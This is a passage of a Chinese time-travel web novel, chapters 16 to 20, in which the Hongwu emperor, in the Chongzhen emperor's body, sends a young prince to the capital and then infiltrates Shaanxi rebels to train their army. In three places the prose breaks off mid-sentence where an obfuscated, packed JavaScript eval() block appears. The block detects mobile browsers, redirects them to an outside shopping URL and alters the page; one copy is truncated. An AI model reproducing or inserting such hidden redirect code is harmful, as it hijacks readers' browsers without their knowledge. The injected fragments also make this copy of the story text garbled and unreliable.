朱聿键还愣着,他父亲一肘子把他怼的跪下:“谢陛下恩德!” “一直以来,你们两人辛苦了,近来身子可得好好养养。我留一留世子,你不介意吧?”朱元璋让他们起来,又和朱聿键的父亲聊起了后续唐王府的管理。 “当然不介意!这不成器的小子软弱不堪,没什么才干,做什么都相当失败。我这个当父亲的也是如此,恐怕连家都当不好。”新唐王的口吻极其卑微,“我管不了唐王府那么大的家业,恳请皇上收走唐王府吧,给我们家留几亩地,我们一家老小自给自足,就够了。” 朱聿键听出来了,这是父亲在为未来的他求情。皇上干什么都行,只求留这个家一条命。 皇帝收下唐王的礼,才是好事,就怕他不收。 现在明眼人都知道,皇帝要对宗室下手了。周王是正面案例,福王就是反面案例,他们进入洛阳府,远远地就看见百姓们排着长队,一眼都望不到头。 一问才知道,他们都是去告福王的状的。 新唐王骤然得知自己要被弟弟害死,又突然接到新皇召见,本就心惊胆战,看了这么一出,已经彻底不敢奢求更多了。 于是又一番拉扯,最终朱元璋让唐王回去清点家产,和周王一个待遇,留下三百顷田地和部分家产,其他的耕地还给百姓,好好治理,让百姓休养生息,这才勉强算完。 直到父亲和圣上唠完,朱聿键脑袋还是晕乎乎的。 他真的就被这么放过了吗? “其余人可以走了,朱聿键留下。” 朱聿键的大脑陡然清醒:天啊,他果然要杀我。 谁料,坐在上首的天子非但没有发怒,表情甚至称得上是和颜悦色,还叫了他的字: “长寿,看了天幕上的文字,现在有何感想?” 朱聿键听到这话,一抖,又要跪下。 朱元璋咳了一声:“不许跪,坐下聊。” 于是,朱聿键又硬生生停下了动作。 从辈分上来讲,朱聿键是朱元璋第二十三子的八世孙,勉强算得上是朱由检的堂叔公,不过已经出了五服。 简而言之,是诛九族也轮不上的关系。 他嗫嚅着:“这些东西离臣太远了,臣刚刚被释放出来,想不了那么多东西。” 这是实话,对他而言,天幕真是五雷轰顶,他一个手无缚鸡之力的世孙,就算现在变成了世子,又能怎么样呢?简直在加速他的死亡过程。 本来他还能勉强活着,现在,连生死都要仰仗帝王的鼻息 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朱元璋“哎”了一声:“不必这么表忠心,又不要你做具体的事情,当做散心即可。好好听我说话,用心记着。” “之后,周王会去其他地方教化藩王,你呢,就到京城去。 “如今礼部尚书徐光启,主管红薯的推行,他后续还要进内阁,着实很忙。 “具体分管礼部事的,是礼部左侍郎,名叫何如宠,他也有的忙了,要管底层宗室的取名、嫁娶工作,最近又要主持宗室的考核与清退。 “等办完福王这个案子,你作为宗室一员,去京城帮帮他,如何?” 朱聿键感觉自己的心脏就快要跳出胸腔,像是被巨大的馅饼砸晕了。 真的可以吗?他?离开南阳去京城? 不对,这可能是君王设下的陷阱,就是为了考验他的野心。 朱聿键开口:“仰赖陛下信重,可臣过于愚昧……” 朱元璋故意长叹一声,朱聿键几乎是立刻住了嘴,惴惴不安地瞄了他一眼,又深深低下头。 对于朱元璋来说,青年人的小动作简直过于明显。他乐了:“还有什么要说的没有?” 朱聿键猛猛摇头。 朱元璋:“那事情就这样定啦?” 朱聿键小幅度点头。 朱元璋挥手让他出去,朱聿键飘飘忽忽地离开了,走的时候还绊了一下,一个踉跄,仿佛踩在棉花上一般。 等他走后,朱由检困惑出声:“太.祖爷,你不是刚刚把内阁全部辞退么?怎么又要提拔新的人进去?” “因为过段时间,我就不在京城了。” 朱由检更加糊涂:“不在京城,那要去哪里?” 朱元璋轻描淡写:“我要去陕西一趟。” 朱由检不由惊讶:“陕西?那地方刚刚起了反贼,为何要去?” “为何不去?我最不怕的就是反贼,当年,对于元朝而言,我就是那个反贼。”朱元璋直起腰,长长地舒展身躯。 “当了三十几年皇帝,也该活络活络筋骨了,不是吗?” 17. 第 17 章 天启七年十一月,种光道在抢劫。 自从跟着王二在白水起兵造反以来,他几乎每天都在干这样的事。 也没什么别的理由,就是太穷了,拿不出钱,也没有粮食。 种光道不止一次地想:这起义起的和山匪有啥区别? 但他没有其他办法,毕竟谁都变不出粮食。 看着眼前这条光秃秃的大道,两边树丛茂密,但土路很平,上面又有不少马蹄印,一看就知道经常有大商人或者大户人家在走。 这条道主要是粮商在用,王二叫他来的时候,嘴上说的好听,说这儿粮食肯定特别多,你小子要立大功了。 等种光道一来,就发现完全不是这么一回事。 他们起义军的名声已经传了出去,来来往往的粮商有一半都改了道,还有一半则往往是浩浩荡荡带着一大群家丁,要是硬碰硬,肯定会伤亡惨重。 抢过一回,倒是得手了,但他们有两个弟兄重伤,其中一个没撑过去,死了,现在整个队伍里不满的情绪在蔓延。 毕竟他们是想活才造反的,结果为了抢个粮食先死了人,这谁愿意呢? 呸!王二那王八蛋,天天叫嚣着要去抢藩王,现在呢?和澄城杀了知县起义的郑彦夫[1]合兵一处以后,聚集了三千人,这三千个人,吃喝就是个大问题。 他们还选了黄龙山这个山脉做大本营。 想到这里,种光道就觉得两眼一黑。确实这里没啥官兵,但也没啥粮食啊!这么多人,上哪儿去吃饭呢? 就在这时,旁边的小弟拍拍他的肩,小声提醒:“老大,前面有个人来了。” 种光道把嘴里的草嚼了嚼咽下去,兴致缺缺:“几个?” 回答他的人仿佛也有点不敢相信:“三、三个?” 种光道打眼一看,果然只有三个人!他一下子精神了,立刻指挥其他兄弟从侧边包抄,自己则提起锄头就冲了出去,怒喝一声: “站住,不许动!” 眼前的人果然停了下来,种光道细细一打量,面前是三个男青年,各自背着一个行囊,看上去都挺年轻。 最小的那个面容稚嫩又白净,大约只有十几岁,一看就是不种地的。 更关键的是,他的衣服是厚且膨松的!看着就知道,敲下去肯定是软的。 虽然应该不是棉花,但看着也不像是填充了芦花,给人厚实但平的感觉,感觉一棒子下去会噗噗响。 种光道拢了拢自己身上的用芦花填满还打着补丁的冬衣,摩挲着手里的锄头,两眼放光:这下有赚头了! 他把锄头一扬,其他人也逐渐向里靠拢,把三人围住。 种光道不说废话,只一味恐吓:“把身上的钱粮都交出来,就饶你们不死,否则你们的小命不保,仔细下了地府,家人都认不出来你们的脸!” “大哥不要动手,咱们有话好好说。”朱元璋把身上的包袱卸下来,一边扔给种光道,一边开口。 只是他还没说几句,就泪水涟涟,情真意切:“我早就听说黄龙山有英雄好汉,今日一见果然名不虚传。小子实在是无路可去,是来投奔你们的。” 种光道明显不信:“你一看就是过好日子的,怎么会走投无路?” “这世道,从前过得好不代表现在过得好。”朱元璋抹了一把眼泪,炉灰擦的满脸都是,配上朱由检那张脸,看着更像逃难的贵公子了。 “我叫陈阿八,原是西安藩王秦王府中长史的孙子。”朱元璋解释道。 陈是他母亲的姓,正好用来取个假名。 种光道心中一动:陕西西安的秦王?那不就是前段日子王二说的那个? “虽说不是大富大贵,但也吃穿不愁,可皇帝小儿突然下了什么诏令,说要教化藩王,严查藩王索取百姓田地、大肆敛财的事情,朝廷的命官和什么宗人令都来了。” 朱元璋身侧的两人眼观鼻鼻观心,假装听不到。 “于是,秦王打算推我爷爷出去,说都是我爷爷私自敛财、欺压百姓,全是他底下的人做的。这可真是太冤枉了啊!” 朱元璋一副悲从中来的样子:“要不是秦王的命令,我爷爷怎敢做那些事情?秦王要把我全家杀了交差,我只得逃出来了,只求留一条命在。” 种光道没吱声,还在消化这个故事。 谎言就是要七分真三分假才好,其实关于秦王推锅给长史的事情,确实是真的,还是刚到西安府的周王报告给朱元璋的。 不仅如此,秦王还一哭二闹三上吊,痛骂周王矫旨,也就是曲解皇帝的意思。 陕西穷的叮当响,我怎么可能搜刮老百姓?陛下好端端的又怎么可能要收我的钱?一定是你这老王八犊子蒙蔽陛下,两头欺瞒! 其实就是拐转弯儿骂朱元璋,只是没放在明面上说罢了。 总之,周王的教化之路(又名讨钱之旅)出师不利,在秦王这儿僵持住了。 秦王这些年兼并了许多土地,现在却死活不肯将农田归还给百姓,更别说拿出本来属于他的田地了。 种光道咀嚼完,半信半疑,但也没法反驳,毕竟他一介草民,怎么能知道秦王府里的事情? 他连秦王府是什么样子都想象不出来! 不过,这小子讲的话从表面来看也挑不出什么问题。 虽然是反贼,但种光道还是要点面子的,为了避免露怯,他决定暂时相信,并且把这件事揭过不提,转而询问:“小兄弟旁边两位壮士是?” 听到这话,朱元璋仿佛是刚刚想起来,拉过二人介绍道:“这位高个儿是我表兄,姓卢,读过几年书,学问比我要好些,叫卢生;这个壮一些黑一些的呢,和我是同乡,略识得些拳脚,名叫方化。 “卢生和我一样,是在秦王府帮工的,会记点账;方化是被秦王逼着献田,自己活不下去了,干脆和我一起跑了。” 卢·天启二年进士·现任户部主事·象升:…… 方·翊戎卫武试排行第一·乾清宫近侍太监·正化:……[2] 陛下啊,你开心就好,不用管我们死活。 种光道讶然:“你读过书?” 朱元璋挺了挺胸膛:“小弟不才,读过几本书,连蒙带猜认得几个字,最近在看《初刻拍案惊奇》呢!” 种光道一拍巴掌:“可是凌濛初写的那本?我刚挑了个感兴趣的篇章看,就那个张幼谦和罗惜惜私定终身的故事。” “我倒是都看完了。”朱元璋笑眯眯的,“种先生看到哪里了?” “我才看到罗惜惜的父亲要将女儿嫁给辛家,张幼谦以为罗惜惜变心,写信质问她。”种光道满脸惋惜,“有情人如何能就这样错过?多是一件可惜的事情!” 朱元璋道:“那可不!后来……” “你可别告诉我后面怎么样了!”种光道及时阻拦了他,“我要自己看。” 但没过几秒,种光道又忍不住问:“他俩最后好好在一起了么?如果没有,我就不看了,免得一肚子气。” 朱元璋颔首:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118040|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那自然是在一起了。” 种光道把心放回了肚子里,美滋滋的:“那就好,等我回去了就接着看去。” 过了几分钟,种光道意识到不对,疑惑道:“你怎么知道我姓种呢?” 朱元璋笑道:“种先生眉宇间有一股英气,相貌堂堂,身材高大魁梧,我一眼就看到你了。再结合王二、郑彦夫在合兵在巩昌府与西安府边界的传闻,你的身份也不难猜。” 就算种光道脸皮厚,被一位美少年夸奖自己帅气,也是相当高兴。 “陕西连续两年大旱,地里的庄稼全枯了,官府还逼着交粮,是种先生又有主意又仗义,逼着县令开了粮仓,把粟米分给百姓,方化也分到了。所以,遇到眼下的情况,他第一时间就提议我们来投奔你。本来是要到城下求见的,结果真是好运道,在城外也能碰上种先生。” 听到这里,种光道老脸一红:其实,他是专门跑到城外打劫的来着。 方正化也连忙接话:“种头领对俺们有救命之恩,是天上派下来救俺们的神仙哩!” 种光道把脸一板:“话可不能这么说!”但这一通吹捧下来,他已经有点飘飘然了。 原来他的名声传这么远了吗? 如果朱元璋知道他此时的感想,一定会告诉他:何止传到西安,那都已经传到京城,传到他耳朵里了。 话说到这份上,种光道再也不能拿着朱元璋的包裹了,他把包裹扔回去,叉手道:“你们三人既然是诚信想投奔我,那也不能让你们白费工夫,我与小兄弟一见如故,你们就随我回城吧。” 回去的路上,种光道越想越热泪盈眶:真是好不容易让他逮着一个认字又爱看闲书、还对他尊敬有加的人!他多久没尝过这种滋味了?真是老天开眼。 接下来的一路都很顺利,在吃晚饭的时候,种光道把三人带进了王二的大营。 说是大营,其实也不过是些破竹子破布盖起来的帐篷,暂时能够遮遮十一月的寒风罢了。 大营外边还燃起了篝火,火星噼里啪啦地闪烁着,带来些许暖意。 彼时,王二正在和郑彦夫喝酒,种光道把事情的来龙去脉都讲了一遍,王二见到朱元璋三人,觉得相貌气度都很不错,又得知朱元璋是当中领头的,随意道:“看你这么年轻,也不好给你太高的官,就让你当个九夫长吧。” “王头领真是豪爽人!果然名不虚传。”朱元璋抱拳,满脸钦佩之意。 王二和种光道哈哈大笑,又调侃道:“你到了咱们这儿,可不比秦王府,得吃点苦头了。” 朱元璋一拍桌子:“苦有什么吃不得的?总比在秦王那老头手底下掉了脑袋要好。 “再说了,我怎么忍心见兄弟们吃苦?我年纪小,又出行仓促,没什么钱粮,只带了些腊肉,现在全都拿出来,就当给兄弟们今晚加餐!小子年幼,之后还要仰仗大哥们多多照顾。” 王二一看朱元璋哐的一下丢在桌上的三大块腊肉,油汪汪的,不由得口舌生津:“好说好说,都是兄弟!” “另外。”朱元璋从抖了抖包裹,闪着光的银子从里面掉了出来,落到王二面前,“这是我从秦王府支取的四十两银子,是我早就听闻了头领的名声,钦佩头领的义气,打定了主意要献给头领的。” 王二被哄得眉开眼笑,当即拍板:“我看你未来大有可为,你就来当我的亲兵吧!就这么定了!” 卢象升:“……” 方正化:“……” 陛下,你为何如此熟练啊?! 18. 第 18 章 酒酣耳热之际,王二大着舌头问:“你是从那秦王府被赶出来的?” 朱元璋点头。 “府里边情况咋样?” 朱元璋沉吟了一会儿,慢慢回忆道:“秦王特别有钱,很会享受。 “脚底下踩的是青石板,栏杆是用汉白玉做的。熏的香是江南运过去的,喝的奶是从西域买来的。” 王二吃惊地瞪大了眼睛:“乖乖!那么远的地方,不会在路上就坏掉吗?” 朱元璋叹息似的说:“供给藩王,有专门走水路,或者跑死一批又一批的马。 “秦王府里,用来烤的是从草原来的小肥羊,表皮刷上蜂蜜,烤的滋滋冒油,烤出来只取最嫩的羊里脊,配上酥饼,撒上盐、豆豉、胡椒,作为一道菜。 “我远远地看过一次,亮汪汪的,香气直往肺腑里窜,我从来没有闻过那样的味道,想起来还是觉得口水直流。” 在场的所有人都同步咽了口水。 “每日这样的大菜有十八样,还有素菜、甜点不计其数,秦王吃不完,宁愿倒掉也不给我们这些下人吃。” “但我们会偷偷捡来吃。”朱元璋补充道,“大部分剩下来的菜,秦王会赐给他的姬妾,如果姬妾们也吃不完,则会给她们院里的下人,我们这些在前院帮工的能少能吃到。我抢到过几次,吃完就觉得浑身有了力气。” 王二听的入了迷,却发现自己怎么也想象不出来那个场景,胡椒是什么味道?蜂蜜是什么样子的?豆豉又是做什么的? 想着想着,他倒吸一口凉气,压低声音问:“这样有钱的王爷,指缝里漏出来一点,就够咱们吃一顿饱饭了吧?” 种光道插话:“那可不,他们喝的都是咱们的血,吃的都是咱们的肉!” 王二想着,也是怒从心起:“他爷爷的,我们这群人天天窝在这山里头,吃不饱饭还怕官军围剿,十一月的天气那么冷!弟兄们连一件像样的棉袄都没有,还整天担惊受怕,他倒天天过这么美的日子?” 朱元璋唉声叹气:“他可是藩王。” “藩王有什么了不起?还不是靠他生的好?实际就是怂包软蛋一个,你们没看天幕上说的吗?西安被打,这人既不出钱也不出力,还一下子就投降了,一点骨气没有。”王二啐了一口,不屑道。 种光道猛地灌下一口酒,觉得身子热乎了些,怒喝:“朱门酒肉臭!” 朱元璋立刻接上:“路有冻死骨!” 王二眨巴眨巴眼睛:“反、反他爷爷的?” 郑彦夫咽了口口水:“咱们已经有了三千人,算是还可以的了吧?” 朱元璋道:“没有比咱们人数更多的起义军了。” 毕竟他那封罪己诏出来以后,大多数起义军自己就散了,唯有这里一直坚存着。 其他人听了,颇有些意动,郑彦夫试探着问:“西安府守备如何?” 朱元璋神神秘秘的:“西安府只有常态守军,常年疲敝,已经成为守将的家丁,但毕竟是一座城池,如果硬攻,肯定攻不下来,但我有一计,可不费一兵一卒,达成目标。” 种光道等人来了兴趣:“什么计策?” 朱元璋笑而不语,左右看看,起义军头领们就明白了:现在人太多,不好说。 不过,王二和郑彦夫也没怎么放在心上,一个看上去只有十几岁的小娃娃,能有什么妙计?闹着玩罢了,看在他拿来了不少银子的份上,他们并不与他计较。 朱元璋转而说起了其他话题: “我听说皇帝下了诏令,要免两年的税,所以我也考虑过回去种地,可惜西安府是容不下我们一家了。 “我在路上听说了那道诏令,还担心到了黄龙山你们已经不见了。 “不过,几位头领怎么不回家呢?” “哪有那么容易的事儿。”种光道的情绪也低落下来,“我们都是有名有姓的反贼,皇帝虽说既往不咎,但咱们的田已经没有了,回去也没什么活路,乡亲们逃的逃散的散,手底下的兄弟们都是一路追随而来的,也不好就这么遣散。” “还不如等着朝廷招抚,或者把咱们剿了,过一天算一天。”王二一副滚刀肉的样子,“要么拿到钱,要么丢掉命,哪一样都行,都能解决我的困境。” 郑彦夫点头赞同道:“其实我们几个也合计过,这么算下来,还不如抢一把,然后四散逃跑,官军还能把我们一个个全杀了不成?” 郑彦夫这个假设一出,帐中一时静了静,只听见帐外的柴火还噼啪作响。 官军把反贼全都杀了吗?怎么感觉好像,是可以的啊? 夜风卷着寒意从帐缝里钻进来,吹得烛火摇曳,将众人脸上的愁苦拉得老长。 “哎,不提了,喝酒喝酒。”王二长叹一声,不想再谈论这个过于沉重的话题。 “说起来,你这两位同行人,可有什么本事?” 朱元璋笑道:“我这位表兄,武艺可是一绝。” 王二不信:“我看方小哥生的人高马大,如果说方小哥能打会武,我是信的,但你这位表哥嘛……” 他上下打量着卢象升,卢象升笑眯眯地回望,悄悄挺了挺腰板。 王二看了一会儿,不得不承认:“看着这么年轻,长得又白,当然帅也是很帅的啦,那个词儿叫什么?亭亭玉立?” 种光道在一边提醒:“长身玉立。” 王二不大感兴趣:“喔,反正挺瘦的,我看不行。” 卢象升仍是微笑模样,但手却按在了腰间佩着的长剑上。 朱元璋道:“王头领可别看不起卢生,他厉害着呢。” 王二的目光顺着卢象升的手移了过去,这剑的剑鞘通体玄黑,初看平平无奇,相当低调,仔细观察,就能发现是精铁铸造,上面刻有饕餮纹。 卢象升摸了摸剑把:“这是我家祖传的剑,只是我学艺不精,愧对了它。” 王二眯了眯眼睛:“耍一耍?” 卢象升:“求之不得。” 王二大喝一声:“取我的棍来!” 很快,就有人送上来一根长棍,棍的顶端坠着另一根短棍,短棍的长度大约在长棍的四分之一左右,中间以铁环相连,长短棍相撞,发出沉闷的响声。 卢象升拱手道:“王头领的棍是木制,我的剑却由铁铸成,比试起来不大公平,我愿意取木剑来比。” 王二本想说不在意,可端详半晌,确实感觉有点发怵,完全没法不在意。于是同意卢象升用木剑来比试。 一旁的郑彦夫却是对王二的棍起了兴趣,上下打量着惊诧道:“我倒是第一次见到这种形制的棍,王二兄可有把握?可别敲到自己了。” “你懂什么!”王二当场将棍耍出风声,嚷嚷道,“这叫太.祖棍!那是太.祖皇帝朱元璋起兵的时候用的棍法!打遍天下无敌手,就是因为这套棍法,他老丈人才把马皇后嫁给他的!” 朱元璋:…… “真的吗?”朱由检憋着笑,仗着没人能听到,看热闹不嫌事大。 朱元璋把头从左边摇到右边。 “那宋太.祖赵匡胤!”他一边灵巧避开王二带着醉意擦过的长棍,一边将包袱里的木剑丢给卢象升,在百忙之中小声回答。 王二和卢象升二人出了大营,王二径直发起进攻,他的棍法相当不错,长短棍交错,铁环裹挟着寒风,舞的虎虎生风。 卢象升则不与他硬碰硬,四两拨千斤,一次又一次地躲闪开来。 郑彦夫在一旁连连叫好:“王二兄,哎呀!这一棍漂亮!” 朱元璋在一旁观战,心中大概有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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朱元璋笑了一声:“你放心吧,这事我有经验。” 卢象升更加困惑:陛下从小在宫里长大,十二岁受封信王,十七岁登基,能有什么经验? 不过,陛下执意要如此,他还能怎么办? 但陛下为什么一定要出来呢?还是到这么危险的地方来。 卢象升把这个疑问压在心底,但朱由检没那么多顾虑,趁着朱元璋夜巡大营,他直接就问了出来。 听了问话,朱元璋叹息道:“因为,几乎没有大臣说实话。不管是文臣武将,还是太监,都不肯告诉我地方上的实情。 “我翻了那么多奏折,想必你也一起看到了。天启帝当年派出去的太监、巡抚,要么拿了地方上的钱,昧着良心说好话,又或者没拿到钱,卯足了劲儿说坏话。 “要么看到新帝登基,又有天幕现世,于是阿谀奉承,或是过于谨慎,一个劲的歌功颂德,没有重点。 “有些有识之士的奏折,甚至送不到我手上。” 说到这里,朱元璋寒气森森。 “你看这一路走来看到的饥民、流寇,再想想秦良玉,她说的恐怕已经是我听过最真实的民间情况了。 “总之,如果一直在京城待着,必定会被骗得团团转,再加上之前的刺杀事件,可以看出我在京中没有亲信,还不如冒一次险。” 手中用来照明的羊角灯笼快要燃尽,朱元璋也慢慢走到了他所在的帐篷门口。 种光道正在门口探头探脑。 朱元璋晃了晃手中的灯笼,问:“更深露重,种先生在这里做什么?” 种光道看见朱元璋,眼睛亮了亮:“陈八,我有事找你。我要问问你,你……不是秦王府长史的孙子吧?” 19. 第 19 章 朱元璋没回答,而是比了个请进的手势:“外面风大,请种先生进来说话。” 种光道此刻掀着帐篷一角,猫着腰,姿势着实难受,被朱元璋一邀请,立刻就顺势进了帐篷。 等种光道坐定,朱元璋坐在他对面,发问:“种先生为什么这么说?” 等待他回答的间隙,在帐篷内已经听到声音的方正化悄悄绷紧了身体,卢象升也不动声色将手伸进腰间,攥紧了匕首。 种光道左右看看,长吁一口气:“王二与卢生练手的时候,王二喝醉,扫了你一棍,你躲得很轻松,可以看出你有武功造诣,是个会打架的。” “天启元年到五年,因为朝廷给不出粮饷,陕北一直有官军哗变,到处流窜抢劫。” “而你这表哥。”种光道看着卢象升,“王二郑彦夫他们看不出来,可我看得分明,卢生是行伍出身吧?” “所以,你跟随过义军,对不对?”种光道露出一个得意的笑,越推测越觉得自己很有道理,“但你年纪太小,那会儿肯定还没到做官军那一步,所以,你应该是世代军户,出生就在军营里的人!” 接着,种光道的手猛地朝卢象升一指:“而你,卢生!你就是那个做官军时哗变、后来成为流寇的人,我猜的对不对?” 卢象升没说话,只是把手从袖子里拿了出来,两手空空,沉默地坐端正。 好在种光道沉浸在自己的推论中,一点没停顿地继续说了下去:“后来,当流寇当不下去,你又到秦王府混了个小吏,因为长得好看,又年轻机灵,所以认了秦王府长史为祖父。 “这也解释了为什么你看起来很适应军营里的生活,同时又对秦王府很熟悉。” 种光道的脸上全是“我猜中了对不对?”的兴奋。 方正化把自己的嘴抿成了一条线,用力闭上。 朱元璋站起身,紧紧握住种光道的手:“种先生真是心细如发啊!小子实在是佩服。” 种光道的雀跃之心写在脸上,他嘿嘿一笑:“哪有哪有,哎,其实你编的一套话挺合理的,谎言嘛,就是要七分真三分假,再瞒下一部分不说,你说是不是?” 朱元璋笑道:“种先生说的是,小子年幼,还需要向种先生这样年长又有智慧的人多多学习。” 种光道被他一捧,反倒有些不好意思:“其实这么一来,我倒觉得你们的加入让我放心些。 “我和王二他们,都是农民出身,对军中事务一窍不通,加上郑彦夫与我们合兵一处,一下子管三千多人,实在是觉得艰难。 “但你们既然在军营里生活过,必然在这方面更有经验,有你们这些贤士的加入,我们才可以共举大事啊!” 送走了美滋滋的种光道,朱元璋等人总算可以休息了。 夜露浸染着黄龙山的荒草坡,火堆尚有余烬,借着这点微薄的暖意,朱元璋进入了梦乡。 第二天清晨,王二把朱元璋等人召集到一起,宣布:经过一夜(几乎不存在)的考量,他决定,去西安! 其实,实在是没有其他地方可以去了。 “咱们总不能一直在黄龙山半死不活地待着,官军其实一直都知道咱们在黄龙山,但他们根本就不稀的来剿灭。”王二的语气沉重。 “但是,我们主动出击,那就不一样了!”郑彦夫立即跟上。 “立即拔营,咱们即刻出发!”王二大声宣布。 “不行。”朱元璋立即出言反对。 王二被打断,有点不高兴:“你有什么要说的?” “咱们的军队,军心涣散,又没有经过训练,武器都不知道怎么使,去了秦王府,就算是进行偷袭,也打不过人家。” 王二觉得面子上有点挂不住,但他也知道朱元璋说的是对的。 一群没有经过训练、还吃不饱饭的百姓,怎么能打得过官军? 于是,他沉着脸道:“咱们的粮食渐渐少了,再不出发,真能撑得过去吗?” 朱元璋道:“我看了咱们的粮食,再加上每个士兵随身携带的粮食,再撑二旬不成问题,而去西安短则五天,长则十天。” 王二憋着一口气:“那你说说,应该怎么做?” 朱元璋道:“时间太短了,想靠半个多月的时间打造出优秀的军队,是绝对不可能的事情。” 所以,这半个月只能训练一件事:不当逃兵,令行禁止。 这支军队是完完全全的流民,个人平均素养极低。 装备是锄头、砍柴刀、笤帚等农具和生活用具;坐骑是没有的,郑彦夫有一匹马,杂色,品相很一般,但他也不舍得骑,专门派了个人给他牵着,他自己在旁边走。 还有砍了知县以后抢到的几匹骡子,用来驮粮食和拉车。 总之相当寒酸。 但这支队伍也有优势,那就是绝大多数都是陕西本地人。他们对自己的家乡有深厚的感情,但由于旱灾和压迫,被逼无奈才响应造反。 可实际上,大多数人还是想过安稳日子,也因此,他们会格外痛恨抢夺他们的财产、强占他们土地的官吏和藩王。 同样的,这些人的家乡主要是白水和澄城两个地方,离得近,口音相近,也更加具有凝聚力。 所以这支军队,在精神层面会更加高昂。 王二听朱元璋分析了一通利害,头都大了:“你说的很有道理,那练兵的事情就交给你去办吧。” 于是,朱元璋成了空降的游击将军。 卢象升头都大了:陛下好好的皇帝不当,跑来当一支造他反的起义军的游击将军? 方正化:也没什么,就是感觉好像活在梦里。 黄龙山腰处,有一块平地,朱元璋在这里把所有人聚集起来,传下命令。 “大家现在聚集在一起,有些人是为了成就大事,有些人是为了有口饭吃。实在是陕西大旱两年,藩王暴虐无道,官吏横征暴敛,才不得不如此。 “而现在,朝廷已经下令免税两年,如果有退路的、想回去种地的,可以走了。” 他的声音不高,但风势将他的话语送到了每一位起义军的耳朵里。 没有人行动。 朱元璋又说:“今夜是最后的机会,如果有人想离开的,今夜离开大营,头领不会追究。” 他一字一顿:“到了明天早晨,还要离开的,就是逃兵,杀无赦!” 随着他的话音落下,朔风卷过干裂的山地,顿时鸦雀无声。 接着,朱元璋又颁布了一些最基础的军令。例如,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137250|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见鼓声要前进,听见铜锣的声音要撤退,没接到信号不许往后退;只要正确执行军令,打了胜仗,就有饱饭吃,有战利品拿。 所有士兵都要妥善保管武器,不得私自串营,方便要到指定的区域,垃圾由专门的小队收集,不能随地乱丢等等。 等传达完所有基础军令,朱元璋开始了练兵的尝试。 他深知对于刚刚决心反抗的起义军来说,适应自己士兵的身份有多困难,所以他只做一件事: 训练他们听声音。 一声一停的缓鼓慢擂是要大家集合整队,鼓点密集不停歇则是让大家向前冲锋; 金钲声配上黑底的归营旗,就是撤退的意思; 梆子声和归营旗的所在地,则是撤退的集合点,本来应该配上火号,但为了避免进一步的混乱,还是先不用了。 王二和郑彦夫这两个头领之前从来没有想过这些东西,这归营旗还是用王二的包袱布做出来的。 一开始,起义军们表现相当混乱。三千人毕竟不是个小数目,光是学会列阵就费了很大一番工夫。 王二等人在一边看着,只觉得惊诧和羞恼。 他们之前从没有想过,怎么让下属执行好自己的命令,只觉得振臂一呼,就可以号令全军。 杀一个知县可以这么做,可但凡是比县衙更大一点的地方,就不可能乱七八糟地拿下。 第二天一早清点人数,夜里悄悄跑了三十几个。 这个数字比朱元璋预料的少一些,但余下来的人数众多并不能让他觉得开心,反而令他感觉到真正推行免税有多么困难。 第二日的训练依旧如故,只是,在训练之余,朱元璋又发现了新的问题。 在巡营的过程中,他抓到了一个随地方便的人。 那人鬼鬼祟祟地背着风,就站在离营地边缘不过十几步的地方。 朱元璋怒喝一声:“营中不许便溺!” 那人一哆嗦,回头望了一眼,见是朱元璋,眼珠咕噜噜转了两圈,硬是完事了才匆匆裹好自己的身体。 朱元璋认得他,他叫李老四,是王二麾下的人。 朱元璋的脸色不太好,毕竟营中的卫生情况本就糟糕,这种本来应该可控的事情再做不好,染上疫病,大家一起完蛋。 “昨天刚刚发的军令,军中不许便溺,违者拖出去打十军棍。” 左右没有人回应他,李老四抽了抽鼻涕,站在原地不动。 方正化往前一步,想执行朱元璋的命令,却被朱元璋拦住了。 朱元璋看着李老四:“你好像很不服气。” 李老四咧开嘴,露出他参差不齐的牙齿,压根不理会朱元璋的问话,而是对他周围的其他人说:“看看这新来的小后生,刚当上头领的亲兵就觉得自己了不起了。” 周围发出一阵小声的哄笑。 李老四看见有人支持自己,更来劲了,他用一种居高临下的语气训斥朱元璋: “毛都没长齐的小子,摆出这副样子给谁看?你算什么东西,还管起俺们来了?” 朱元璋看着他高昂的头颅,突然感觉到一丝久违的怀念。 作为从军营里摸爬滚打过来的开国皇帝,他最不怕的就是这种愿意当面呛声的人。 20. 第 20 章 显然,李老四对这条军规很不满意:“军令规定,得去离驻扎地三里外的地方解决,谁高兴走那么远啊?就算以前种地的时候,不也是在田里随便就解决了?” “若你不在军中,自己愿意睡在自己的便溺物里,我管你作甚?” 李老四的脸一下子涨红了:“谁乐意睡在那种地方?!” “对啊!没人愿意睡在那种地方,你又为何要让自己的同袍睡在那种地方?” 李老四一时语塞,苍白无力地反驳:“哪有?这不是还得走出去几步?” 朱元璋指着地面,道:“这里离大营不过十余步,你一人如此,之后便是人人如此,聚少成多。你有考虑过距离大营边缘很近的其他同袍该怎么办吗?” 李老四说不出话来了。 